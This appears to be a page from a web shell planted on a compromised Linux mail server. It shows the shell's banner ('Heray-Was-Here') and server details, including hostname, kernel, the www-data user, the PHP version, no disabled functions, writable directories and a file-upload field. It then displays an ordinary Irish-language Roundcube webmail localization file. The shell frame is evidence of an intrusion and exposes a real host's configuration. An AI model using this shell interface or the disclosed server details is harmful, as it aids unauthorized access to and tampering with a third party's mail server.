Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/mailsvr/roundcube/program/localization/ga_IE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/mailsvr/roundcube/program/localization/ga_IE/messages.inc
<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Tharla botĂșn!';
$messages['loginfailed']  = 'NĂ­or Ă©irigh leis an sĂ­niĂș isteach.';
$messages['cookiesdisabled'] = 'Ní ghlacann do líonléitheoir le fianåin.';
$messages['sessionerror'] = 'TĂĄ an seisiĂșin neamhbhailĂ­ nĂł as feidhm.';
$messages['storageerror'] = 'Theip ar an iarracht chun nasc leis an bhfreastalaĂ­ PrĂłtacal Rochtana TeachtaireachtaĂ­ IdirlĂ­n (IMAP)';
$messages['servererror'] = 'BotĂșn ar an bhfreastalaĂ­!';
$messages['servererrormsg'] = 'BotĂșn freastalaithe: %msg';
$messages['accountlocked'] = 'BhĂ­ an iomarca iarrachtaĂ­ chun sĂ­niĂș isteach nĂĄr Ă©irigh leo. DĂ©an iarracht arĂ­s nĂ­os dĂ©anaĂ­.';
$messages['connerror'] = 'BotĂșn nasctha (Theip air an freastalaĂ­ a aimsiĂș)!';
$messages['dberror'] = 'BotĂșn sa bhunachar sonraĂ­!';
$messages['windowopenerror'] = 'Cuireadh bac ar an bhfuinneog anĂ­os!';
$messages['requesttimedout'] = 'D\'imigh an t-iarratas thar am';
$messages['errorreadonly'] = 'Ní féidir an oibríocht sin a dhéanamh. Tå an fillteån inléite amhåin.';
$messages['errornoperm'] = 'NĂ­ fĂ©idir an oibrĂ­ocht sin a dhĂ©anamh. DiĂșltaĂ­odh cead duit.';
$messages['erroroverquota'] = 'Ní féidir an oibríocht sin a dhéanamh. Níl aon slí saor fågtha ar an ndiosc.';
$messages['erroroverquotadelete'] = 'NĂ­l aon slĂ­ saor fĂĄgtha ar an ndiosca. BrĂșigh SHIFT+DEL chun teachtaireacht a scriosadh.';
$messages['invalidrequest'] = 'Iarratas neamhbhailĂ­! NĂ­or cuireadh sonraĂ­ i dtaisce.';
$messages['invalidhost'] = 'Ainm freastalaithe neamhbhailĂ­.';
$messages['nomessagesfound'] = 'NĂ­or aimsĂ­odh aon teachtaireacht sa bhosca poist seo.';
$messages['loggedout'] = 'Chuir tĂș deireadh leis an dreas seo. SlĂĄn leat!';
$messages['mailboxempty'] = 'TĂĄ an bosca poist folamh';
$messages['nomessages'] = 'NĂ­l teachtaireachtaĂ­ ann';
$messages['refreshing'] = 'Ag athnuaigh...';
$messages['loading'] = 'Ag luchtĂș...';
$messages['uploading'] = 'Ag luchtĂș an chomhaid...';
$messages['attaching'] = 'Ag ceangail an chomhaid...';
$messages['uploadingmany'] = 'Ag uasluchtĂș comhaid...';
$messages['loadingdata'] = 'Ag luchtĂș sonraĂ­...';
$messages['checkingmail'] = 'Ag dearbhĂĄil an bhfuil teachtaireachtaĂ­ nua ann...';
$messages['sendingmessage'] = 'Ag seoladh na teachtaireachta...';
$messages['messagesent'] = 'Seoladh an teachtaireacht go rathĂșil.';
$messages['savingmessage'] = 'Ag cur an teachtaireacht i dtaisce...';
$messages['messagesaved'] = 'Cuireadh an teachtaireacht i dtaisce sna Dréachtaí.';
$messages['successfullysaved'] = 'Cuireadh i dtaisce go rathĂșil Ă©.';
$messages['savingresponse'] = 'Ag cur i dtaisce an téacs freagartha...';
$messages['deleteresponseconfirm'] = 'An bhfuil tĂș cinnte gur mian leat an tĂ©acs freagartha seo a scriosadh?';
$messages['nocontactselected'] = 'NĂ­l teagmhĂĄlaĂ­ roghnaithe agat fĂłs.';
$messages['addedsuccessfully'] = 'Cuireadh an teagmhĂĄlaĂ­ go rathĂșil sa leabhar seoltaĂ­.';
$messages['contactexists'] = 'Tå teagmhålaí leis an seoladh ríomhphoist céanna ann cheana féin.';
$messages['contactnameexists'] = 'Tå teagmhålaí leis an ainm céanna ann cheana féin.';
$messages['blockedimages'] = 'Ar mhaithe le do phrĂ­obhĂĄideachas a chosaint, tĂĄ bac ar Ă­omhĂĄnna cianda sa teachtaireacht seo.';
$messages['blockedresources'] = 'Ar mhaithe le do phrĂ­obhĂĄideachas a chosaint, tĂĄ bac ar acmhainnĂ­ cianda.';
$messages['encryptedmessage'] = 'Is teachtaireacht chriptithe í seo agus ní féidir í a thaispeåint. Is dona linn sin!';
$messages['externalmessagedecryption'] = 'Is teachtaireacht chriptithe Ă­ seo agus is fĂ©idir Ă­ a dhĂ­chriptiĂș le breiseĂĄn ar do lĂ­onlĂ©itheoir.';
$messages['nopubkeyfor'] = 'NĂ­or aimsĂ­odh eochair phoiblĂ­ bhailĂ­ i gcomhair $email';
$messages['encryptpubkeysfound'] = 'AimsĂ­odh na heochracha poiblĂ­ seo a leanas:';
$messages['nocontactsfound'] = 'NĂ­or aimsĂ­odh aon duine sa leabhar seoltaĂ­.';
$messages['contactnotfound'] = 'NĂ­or aimsĂ­odh an teagmhĂĄlaĂ­ atĂĄ ĂĄ lorg agat.';
$messages['sendingfailed'] = 'Theip ar sheoladh na teachtaireachta.';
$messages['senttooquickly'] = 'Fan $sec soic(indĂ­) sula sheolann tĂș an teachtaireacht seo.';
$messages['errorsavingsent'] = 'Tharla botĂșn fad is a bhĂ­ an teachteachtaireacht a sheoladh ĂĄ cur i dtaisce.';
$messages['errorsaving'] = 'Tharla botĂșn fad is a bhĂ­ sĂ­ ĂĄ cur i dtaisce.';
$messages['errormoving'] = 'Níorbh fhéidir na teachtaireachtaí a bhogadh.';
$messages['errorcopying'] = 'NĂ­orbh fhĂ©idir na teachtaireachtaĂ­ a mhacasamhlĂș.';
$messages['errordeleting'] = 'Níorbh fhéidir na teachtaireachtaí a scriosadh.';
$messages['errormarking'] = 'Níorbh fhéidir rian a chur ar na teachtaireachtaí';
$messages['alerttitle'] = 'Aire';
$messages['confirmationtitle'] = 'An bhfuil tĂș cinnte...';
$messages['deletecontactconfirm']  = 'An bhfuil tĂș cinnte gur mian leat an daoine roghnaithe a scriosadh?';
$messages['deletegroupconfirm']  = 'An bhfuil tĂș cinnte gur mian leat an bhaicle roghnaithe a scriosadh?';
$messages['deletemessagesconfirm'] = 'An bhfuil tĂș cinnte gur mian leat na teachtaireachtaĂ­ roghnaithe a scriosadh?';
$messages['deletefolderconfirm']  = 'An bhfuil tĂș cinnte gur mian leat an fillteĂĄn seo a scriosadh?';
$messages['movefolderconfirm']  = 'An mian leat dĂĄirĂ­re an fillteĂĄn sin a bhogadh?';
$messages['purgefolderconfirm']  = 'Ar bhfuil tĂș cinnte gur mian leat gach teachtaireacht sa bhfillteĂĄn seo a scriosadh?';
$messages['contactdeleting'] = 'Ag scriosadh na teagmhĂĄlacha...';
$messages['groupdeleting'] = 'Ag scriosadh na baicle...';
$messages['folderdeleting'] = 'Ag scriosadh an fhillteĂĄin...';
$messages['foldermoving'] = 'Ag bogadh an fhillteĂĄin...';
$messages['foldersubscribing'] = 'Ag cur sĂ­ntiĂșs leis an bhfillteĂĄn...';
$messages['folderunsubscribing'] = 'Ag baint sĂ­ntiĂșs den bhfillteĂĄn...';
$messages['formincomplete'] = 'NĂ­or lĂ­on tĂș an fhoirm go hiomlĂĄn.';
$messages['noemailwarning'] = 'Cuir isteach seoladh rĂ­omhphoist bailĂ­ le do thoil.';
$messages['nonamewarning']  = 'Cuir isteach ainm le do thoil.';
$messages['nopagesizewarning'] = 'Cuir isteach méid leathanaigh le do thoil.';
$messages['nosenderwarning'] = 'Cuir isteach seoladh rĂ­omhphoist an tseoltĂłra.';
$messages['recipientsadded'] = 'Cuireadh faighteoir(Ă­) go rathĂșil leis.';
$messages['norecipientwarning'] = 'Abair liom faighteoir amhain ar a laghad';
$messages['disclosedrecipwarning'] = 'Feicfidh gach faighteoir seoltaí ríomhphoist a chéile. Chun sin a sheachaint agus a bpríobhåideachas a chosaint, is féidir feidhm a bhaint as an réimse Bcc.';
$messages['disclosedreciptitle'] = 'An iomarca faighteoirĂ­ poiblĂ­';
$messages['nosubjectwarning']  = 'NĂ­l aon ĂĄbhair ar an teachtaireacht, ba mhaith tĂș dĂ©arfaidh mĂ© ĂĄbair?';
$messages['nosubjecttitle']  = 'Gan ĂĄbhar';
$messages['nobodywarning'] = 'NĂ­l aon teacs san teachtaireacht, ba mhaith tĂș dĂ©arfaidh mĂ© teachtaireacht ar bith?';
$messages['notsentwarning'] = 'NĂ­or seoladh an teachtaireacht seo agus tĂĄ athruithe nach cuireadh i dtaisce inti. An mian leat do chuid athruithe a chuileĂĄil?';
$messages['restoresavedcomposedata'] = 'Aimsíodh teachtaireacht a chumadh ach når seoladh.\n\nÁbhar: $subject\nTaiscthe: $date\n\nAr mhaith leat an teachtaireacht seo a chur ar ais?';
$messages['nosearchname'] = 'Abair liom ainm duine nĂł seoladh rĂ­omhphost';
$messages['notuploadedwarning'] = 'NĂ­l gach ceangaltĂĄn uasluchtaithe fĂłs. Fan le do thoil nĂł cealaigh an t-uasluchtĂș.';
$messages['searchsuccessful'] = 'Fuair mé $n teachtaireacht';
$messages['contactsearchsuccessful'] = 'AimsĂ­odh $nr dteagmhĂĄlaĂ­.';
$messages['searchnomatch'] = 'NĂ­or aimsigh an cuardach aon rud.';
$messages['searching'] = 'Ag cuardach...';
$messages['checking'] = 'Ag dearbhĂĄil...';
$messages['stillsearching'] = 'FĂłs ag cuardach...';
$messages['nospellerrors'] = 'NĂ­or aimsĂ­odh aon bhotĂșn litrithe.';
$messages['folderdeleted'] = 'Scriosadh an fillteĂĄn.';
$messages['folderpurged'] = 'FolmhaĂ­odh an fillteĂĄn go rathĂșil.';
$messages['folderexpunged'] = 'DlĂșthaĂ­odh an fillteĂĄn go rathĂșil.';
$messages['deletedsuccessfully'] = 'D\'éirigh mé, Scrios mé';
$messages['converting'] = 'Scrios mé formåidithe as an teachtaireacht seo';
$messages['messageopenerror'] = 'NĂ­orbh fhĂ©idir an teachtaireacht a luchtĂș Ăłn bhfreastalaĂ­.';
$messages['filelinkerror'] = 'Níor éirigh leis an gcomhad a cheangail.';
$messages['fileuploaderror'] = 'Theip ar uasluchtĂș an chomhaid.';
$messages['filesizeerror'] = 'Beigh an comhad ró-mhor. Is ea $size uas-saghas chun admhåil léite';
$messages['filecounterror'] = 'Is fĂ©idir suas go dtĂ­ $count gcomhad a uasluchtĂș in aon dreas amhĂĄin.';
$messages['msgsizeerror'] = 'Theip air comhad a cheangail. Såraíodh uasmhéid teachtaireachta ($size).';
$messages['copyerror'] = 'NĂ­orbh fhĂ©idir aon teagmhĂĄil a mhacasamhlĂș.';
$messages['moveerror'] = 'Níorbh fhéidir aon teagmhåil a bhogadh...';
$messages['sourceisreadonly'] = 'Tå an foinse seolaigh seo inléite amhåin';
$messages['errorsavingcontact'] = 'Theip mé, Níl an cumas agam an seolagh seo a såbhåil';
$messages['movingmessage'] = 'Ag bogadh na teachtaireachtaĂ­...';
$messages['copyingmessage'] = 'Ag macasamhlĂș na teachtaireachtaĂ­...';
$messages['copyingcontact'] = 'Ag macasamhlĂș teagmhĂĄlach(a)...';
$messages['movingcontact'] = 'Ag bogadh teachtaireacht(aĂ­)';
$messages['deletingmessage'] = 'Ag scriosadh teachtaireacht(aĂ­)...';
$messages['markingmessage'] = 'Ag cur rian ar theachtaireacht(aĂ­)...';
$messages['addingmember'] = 'Ag cur teagmhĂĄlacha leis an mbaicle...';
$messages['removingmember'] = 'Ag baint teagmhĂĄlaĂ­ (teagmhĂĄlaithe) Ăłn mbaicle...';
$messages['receiptsent'] = 'Seoladh admhĂĄil lĂ©ite go rathĂșil.';
$messages['errorsendingreceipt'] = 'Níorbh fhéidir an admhåil a sheoladh.';
$messages['deleteidentityconfirm'] = 'An bhfuil tĂș cinnte gur mian leat an t-aitheantas seo a scriosadh?';
$messages['nodeletelastidentity'] = 'Ní féidir leat an t-aitheantas seo a scriosadh. Is é an ceann deireanach atå agat.';
$messages['forbiddencharacter'] = 'TĂĄ carachtar neamhcheadaithe in ainm an fhillteĂĄin.';
$messages['selectimportfile'] = 'Roghnaigh comhad le huasluchtĂș.';
$messages['addresswriterror'] = 'Ní féidir scríobh sa leabhar seoltaí roghnaithe.';
$messages['contactaddedtogroup'] = 'Cuireadh na teagmhĂĄlacha go rathĂșil leis an mbaicle seo.';
$messages['contactremovedfromgroup'] = 'Baineadh teagmhĂĄlaithe go rathĂșil on mbaicle.';
$messages['importwait'] = 'Á tabhairt isteach, fan le do thoil...';
$messages['importmessagesuccess'] = 'Tugadh $nr teachtaireacht isteach go rathĂșil';
$messages['importmessageerror'] = 'Theip ar an tabhairt isteach! NĂ­ comhad teachtaireachta nĂł comhad bosca poist bailĂ­ Ă© an comhad uasluchtaithe ';
$messages['opnotpermitted'] = 'Níl cead sin a dhéanamh!';
$messages['nofromaddress'] = 'TĂĄ seoladh rĂ­omhphoist ar iarraidh san aitheantas roghnaithe. ';
$messages['smtpconnerror'] = 'BotĂșn SMTP ($code): Theip ar an nasc leis an bhfreastalaĂ­.';
$messages['smtpautherror'] = 'BotĂșn SMTP ($code): Theip ar an bhfĂ­ordheimhniĂș.';
$messages['smtperror'] = 'BotĂșn SMTP: $msg';
$messages['emailformaterror'] = 'Seoladh rĂ­omhphoist neamhbhailĂ­: $email';
$messages['toomanyrecipients'] = 'TĂĄ an iomarca faighteoirĂ­ ann. Laghdaigh lĂ­on na bhfaighteoir chuig $max.';
$messages['internalerror'] = 'Tharla botĂșn inmheĂĄnach. DĂ©an iarracht eile arĂ­s le do thoil.';
$messages['contactdelerror'] = 'Níorbh fhéidir na teagmhålaithe a scriosadh.';
$messages['contactdeleted'] = 'Scriosadh na teagmhĂĄlaithe go rathĂșil.';
$messages['contactrestoreerror'] = 'Níorbh fhéidir na teagmhålacha a scriosadh a chur ar ais.';
$messages['contactrestored'] = 'Cuireadh teagmhĂĄlaĂ­(ithe) ar ais go rathĂșil.';
$messages['groupdeleted'] = 'Scriosadh an bhaicle.';
$messages['grouprenamed'] = 'AthainmnĂ­odh an bhaicle.';
$messages['groupcreated'] = 'CruthaĂ­odh an bhaicle.';
$messages['savedsearchdeleteerror'] = 'Níorbh fhéidir an cuardach atå i dtaisce a scriosadh.';
$messages['savedsearchcreateerror'] = 'NĂ­orbh fhĂ©idir cuardach i dtaisce a chruthĂș.';
$messages['messagedeleted'] = 'Scriosadh na teachtaireachtaĂ­.';
$messages['messagemoved'] = 'Bogadh na teachtaireachtaĂ­ go rathĂșil.';
$messages['messagemovedtotrash'] = 'Bogadh na teachtaireachtaĂ­ go dtĂ­ Bruscar.';
$messages['messagecopied'] = 'MacasamhlaĂ­odh na teachtaireachtaĂ­.';
$messages['messagemarked'] = 'Cuireadh rian ar na teachtaireachtaĂ­.';
$messages['namecannotbeempty'] = 'Ní féidir leis a bheith gan ainm.';
$messages['nametoolong'] = 'TĂĄ an t-ainm rĂłfhada.';
$messages['namedotforbidden'] = 'NĂ­ fĂ©idir lanstĂĄd a bheith ag tĂșs ainm an fhillteĂĄin.';
$messages['folderupdated'] = 'NuashonraĂ­odh an fillteĂĄn.';
$messages['foldercreated'] = 'CruthaĂ­odh an fillteĂĄn.';
$messages['invalidimageformat'] = 'NĂ­ formĂĄid Ă­omhĂĄ bailĂ­ Ă­ sin.';
$messages['mispellingsfound'] = 'AimsĂ­odh botĂșin litrithe san teachtaireacht.';
$messages['messagetoobig'] = 'Tå an teachtaireacht rómhór le gur féidir obair léi.';
$messages['noscriptwarning'] = 'Rabhadh: Tå Javascript de dhíth ar an gcóras ríomhphoist ghréasåin. Chun feidhm a bhaint as cumasaigh Javascript sna socruithe i líonléitheoir.';
$messages['messageissent'] = 'Seoladh an teachtaireacht seo cheana, ach nĂ­or cuireadh i dtaisce fĂłs Ă­. An mian leat Ă­ a chur i dtaisce?';
$messages['errnotfound'] = 'NĂ­or AimsĂ­odh an Comhad';
$messages['errnotfoundexplain'] = 'NĂ­or aimsĂ­odh an acmhainn a lorgadh!';
$messages['errfailedrequest'] = 'Iarratas ar theip air';
$messages['errauthorizationfailed'] = 'Theip ar an bhfĂ­ordheimhniĂș';
$messages['errunauthorizedexplain'] = 'NĂ­orbh fhĂ©idir a fhĂ­ordheimhniĂș go bhfuil cead agat rochtain a fhĂĄil ar an seirbhĂ­s seo!';
$messages['errcontactserveradmin'] = 'Déan teagmhåil le riarthóir d\'fhreastalaí.';
$messages['clicktoresumesession'] = 'BrĂșigh anseo chun leanĂșint ar aghaidh le do dhreas roimhe';
$messages['errcomposesession'] = 'BotĂșn i gcum teachtaireacht';
$messages['clicktocompose'] = 'BrĂșigh anseo chun teachtaireacht nua a chumadh';
$messages['nosupporterror'] = 'Ní thacaíonn do líonléitheoir leis an ngné sin.';
$messages['siginserted'] = 'Cuireadh an sĂ­niĂș isteach go rathĂșil.';
$messages['responseinserted'] = 'Cuireadh an freagra isteach go rathĂșil.';
$messages['listempty'] = 'TĂĄ an liosta folamh.';
$messages['listusebutton'] = 'Bain feidhm as an gcnaipe Cruthaigh chun taifead nua a chur leis.';

Hry